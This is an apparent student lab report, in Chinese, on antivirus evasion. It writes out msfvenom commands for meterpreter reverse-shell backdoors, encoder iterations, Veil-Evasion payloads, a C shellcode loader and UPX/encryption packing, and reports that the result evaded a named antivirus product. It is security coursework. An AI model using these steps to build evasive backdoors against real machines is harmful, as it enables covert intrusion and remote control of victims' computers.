1. 实践内容
1.1 方法
- 正确使用msf编码器
- msfvenom生成如jar之类的其他文件
- veil
- 加壳工具
- 使用C + shellcode编程
- 使用其他课堂未介绍方法
1.2 通过组合应用各种技术实现恶意代码免杀
(如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。)
1.3 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
2.具体实验操作
2.1正确使用msf编码器
将实验2生成的后门程序20174305_backdoor.exe
上传至virustotal网站进行筛查,结果如下
可以发现很容易就被杀软发现有许多病毒。
接下来,用msf编码器进行一次编码,在kali终端输入msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 52 -b '\x00' LHOST=192.168.0.104 LPORT=4305 -f exe > 4305backdoor1.exe,生成可执行文件。
然后再放到网站上检测,如下图。
扫描后,比原来少了几个病毒,继续往下做。
进行十次编码尝试:msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.0.104 LPORT=4305 -f exe > 4305backdoor2.exe,然后再到网站上检测,结果如下图。
病毒个数竟然还多了,由此可见,修改编码对于达到免杀效果作用微乎其微。
2.2msfvenom生成其他文件
2.2.1jar文件
使用命令 msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.0.104 LPORT=4305 x> 4305backdoor_java.jar ,生成jar文件,然后放到网站上检测,结果如下。
跟上面的方法比,效果还是很明显的。
2.2.2php文件
使用命令 msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.0.104 LPORT=4305 x> 4305.php,生成文件,然后再给他送到网站上检测。
跟jar文件的效果类似。
2.3使用veil-evasion生成后门程序及检测
输入veil,进入veil控制台:
输入命令use evasion,使用evasion工具。
Evasion工具有41个payload可供使用,我们选择其中名为c/meterpreter/rev_tcp.py的payload。
然后输入set LHOST 192.168.159.130和set LPORT 4305,设置回连kali的IP地址和端口。然后输入options查看当前设置:
然后输入generate,生成后门
文件名设置为viel_4305,生成的后门文件veil_4305.exe的存储路径为:/var/lib/veil/output/compiled/veil_4305.exe
virscan扫描结果如下
2.4使用C + shellcode编程
输入,msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.104 LPORT=4305 -f c,获取一段shellcode
将shellcode复制出来,创建一个后缀为c的文本文件,将上面这段shellcode连同下面这段代码一同写入c文件中。int main() { int (*func)() = (int(*)())buf; func(); }
结果如下:
使用命令将c文件编译成可执行文件:i686-w64-mingw32-g++ 4305.c -o shellcode_4305.exe
得到这个shellcode_4305.exe可执行文件,在Virustotal扫描它得到如下结果:
2.5加壳
使用upx shellcode_4305.exe -o upx_4305.exe,给上一步生成的后门程序shellcode_4305.exe加个压缩壳得到upx_4305.exe。
下面是upx_4305在virustotal上的扫描结果:
2.6使用其他方法
采用Veil-Evasion的其他荷载生成后门方式。
进入EvaSion,使用list查看有效荷载。选择一个编号的payload进行实验。
接下来输入指令生成payload,选择一种shellcode的模板文件,这里选择msfvenom。
接下来对文件进行命名,设置好一切,我们生成的后门就成功了。
拿到网站上检测,
可以看出达到免杀。
2.7组合技术实现免杀
这里我使用的是通过C语言和shellcode打造出一个后门,然后对其进行加壳,先加压缩壳,然后加加密壳,最后出来的后门结合了三种技术。
通过电脑管家进行检测,并没有风险。
3.基础问题回答
3.1杀软是如何检测出恶意代码的?
根据特征来检测:恶意代码常常具有明显的特征码也就是一段数据,杀软检测到具有该特征码的程序就当作检测到了恶意代码。
根据行为来检测:如果一个程序的行为是带有恶意的行为,那么这个程序也会被认为是恶意代码,有时候不是恶意代码的程序也会把查杀,因为这些程序做了一些计算机认为不安全的事情,比较常见的就是各自破解补丁或者游戏外挂等.
3.2免杀是做什么?
免杀顾名思义就是免除计算机杀软的查杀。
通过一些手段来瞒过杀软的检测扫描。
3.3免杀的基本方法有哪些?
加花指令:就是加入一些花里胡哨的指令来迷惑杀软,让杀软检测不到特征码,比如+1,-1,*1,/1什么的,但是一些厉害的杀软还可以看破这些。
加壳:就是给含有恶意代码的程序加一个外包装,让杀软不知道里面装的是什么。但是这种方法逃不过内存查杀,一运行起来就会露出马脚。
修改特征码:就是在不影响程序功能的情况下,将杀软检测的那一段特征码改一下,从而瞒过杀软的检测。当然修改特征码不是一个容易的事情,但是却是唯一可以躲过内存查杀的办法。
4.开启杀软能绝对防止电脑中恶意代码吗?
不能,杀软并不能测出所有的恶意代码,攻击者会利用杀软的弱点对代码进行更新来逃避杀软的阻拦。
5.实验心得及体会
本次实验很有趣,让我对于后门及免杀的方法有了更深刻的认识,在老师的讲解下和同学博客的指导下,得以做出此次实验。通过本次实验,我发现我对于kali的操作还不是特别熟练,课后应多加练习。除此之外,恶意代码恶意软件非常危险,他们可以很轻易地逃过杀软的封锁,对受害者进行攻击,所以我们应加强防范意识,防患于未然。